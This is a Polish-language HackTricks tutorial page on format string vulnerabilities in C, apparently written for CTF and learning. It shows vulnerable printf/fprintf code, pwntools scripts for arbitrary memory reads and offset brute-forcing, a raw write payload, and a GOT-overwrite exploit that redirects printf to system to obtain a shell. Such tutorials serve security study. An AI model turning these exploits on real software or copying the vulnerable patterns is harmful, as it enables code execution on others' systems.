hacktricks/binary-exploitation/format-strings/README.md

12 KiB

Ciągi formatujące

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Podstawowe informacje

W języku C printf to funkcja, która może być używana do wyświetlania ciągu znaków. Pierwszym parametrem, którego oczekuje ta funkcja, jest surowy tekst z formatami. Następne parametry, które są oczekiwane, to wartości, które mają zastąpić formatery z surowego tekstu.

Inne podatne funkcje to sprintf() i fprintf().

Podatność pojawia się, gdy tekst atakującego jest używany jako pierwszy argument tej funkcji. Atakujący będzie w stanie stworzyć specjalne dane wykorzystując możliwości ciągu formatującego printf, aby odczytać i zapisać dowolne dane pod dowolnym adresem (do odczytu/zapisu). Dzięki temu będzie mógł wykonać dowolny kod.

Formatery:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Przykłady:

  • Wrażliwy przykład:
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Normalne użycie:
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Z Brakującymi Argumentami:
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • podatny fprintf:
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}

Dostęp do wskaźników

Format %<n>$x, gdzie n to liczba, pozwala wskazać printfowi, aby wybrał n-ty parametr (ze stosu). Jeśli chcesz odczytać 4. parametr ze stosu za pomocą printf, możesz to zrobić:

printf("%x %x %x %x")

i odczytałbyś od pierwszego do czwartego parametru.

Albo możesz:

printf("$4%x")

i przeczytaj bezpośrednio czwarty.

Zauważ, że atakujący kontroluje parametr printf, co oznacza, że jego wejście będzie na stosie, gdy zostanie wywołane printf, co oznacza, że może wpisać konkretne adresy pamięci na stosie.

{% hint style="danger" %} Atakujący kontrolujący to wejście, będzie mógł dodać dowolny adres na stosie i sprawić, że printf będzie mógł się do nich odwołać. W następnej sekcji zostanie wyjaśnione, jak wykorzystać to zachowanie. {% endhint %}

Odczyt arbitralny

Możliwe jest użycie formatownika %n$s aby sprawić, że printf pobierze adres znajdujący się na pozycji n, a następnie wydrukuje go jakby to był łańcuchem znaków (wydrukuj do momentu znalezienia 0x00). Dlatego jeśli bazowy adres binarny to 0x8048000, i wiemy, że wejście użytkownika zaczyna się na 4. pozycji na stosie, możliwe jest wydrukowanie początku binarnego z:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

{% hint style="danger" %} Należy pamiętać, że nie można umieścić adresu 0x8048000 na początku wejścia, ponieważ ciąg zostanie zakończony zerem na końcu tego adresu. {% endhint %}

Znajdź przesunięcie

Aby znaleźć przesunięcie dla swojego wejścia, możesz wysłać 4 lub 8 bajtów (0x41414141), a następnie %1$x i zwiększyć wartość, aż odzyskasz A's.

Brute Force printf offset ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### Jak użyteczne

Arbitrary reads mogą być przydatne do:

* **Wycieku** **binarnego** z pamięci
* **Dostępu do konkretnych części pamięci, w których przechowywane są poufne** **informacje** (takie jak canaries, klucze szyfrowania lub niestandardowe hasła, jak w tym [**wyzwaniu CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))

## **Arbitrary Write**

Formatter **`$<num>%n`** **zapisuje** liczbę zapisanych bajtów pod wskazany adres w parametrze \<num> na stosie. Jeśli atakujący może zapisać tyle znaków, ile chce za pomocą printf, będzie mógł spowodować, że **`$<num>%n`** zapisze dowolną liczbę pod dowolnym adresem.

Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia, można użyć formatera **`%.<num-write>%<num>$n`** do zapisania liczby **`<num-write>`** w **adresie wskazywanym przez pozycję `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Jednakże zauważ, że zazwyczaj aby zapisać adres takiej jak 0x08049724 (który jest OGROMNY aby zapisać go naraz), używa się $hn zamiast $n. Pozwala to zapisać tylko 2 bajty. Dlatego ta operacja jest wykonywana dwukrotnie, raz dla najstarszych 2B adresu i drugi raz dla młodszych.

Ta podatność pozwala na zapisanie czegokolwiek pod dowolny adres (arbitrary write).

W tym przykładzie celem będzie nadpisanie adresu funkcji w tabeli GOT, która zostanie później wywołana. Chociaż można to wykorzystać do innych technik zapisu arbitralnego do wykonania:

{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}

Nadpiszemy funkcję, która przyjmuje swoje argumenty od użytkownika i wskażemy ją na funkcję system.
Jak wspomniano, aby zapisać adres, zazwyczaj potrzebne są 2 kroki: Najpierw zapisujesz 2 bajty adresu, a następnie pozostałe 2. Do tego używa się $hn.

  • HOB odnosi się do 2 najstarszych bajtów adresu
  • LOB odnosi się do 2 młodszych bajtów adresu

Następnie, ze względu na sposób działania łańcucha formatującego, musisz najpierw zapisać mniejszy z [HOB, LOB], a następnie drugi.

Jeśli HOB < LOB
[adres+2][adres]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Jeśli HOB > LOB
[adres+2][adres]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

{% code overflow="wrap" %}

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

{% endcode %}

Szablon Pwntools

Możesz znaleźć szablon do przygotowania eksploitu dla tego rodzaju podatności w:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

Albo ten podstawowy przykład stąd tutaj:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Formatowanie łańcuchów do przepełnienia bufora

Możliwe jest nadużycie działań zapisu podatności na łańcuchy formatujące do zapisywania adresów ze stosu i wykorzystanie podatności typu przepełnienie bufora.

Inne przykłady i odnośniki

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!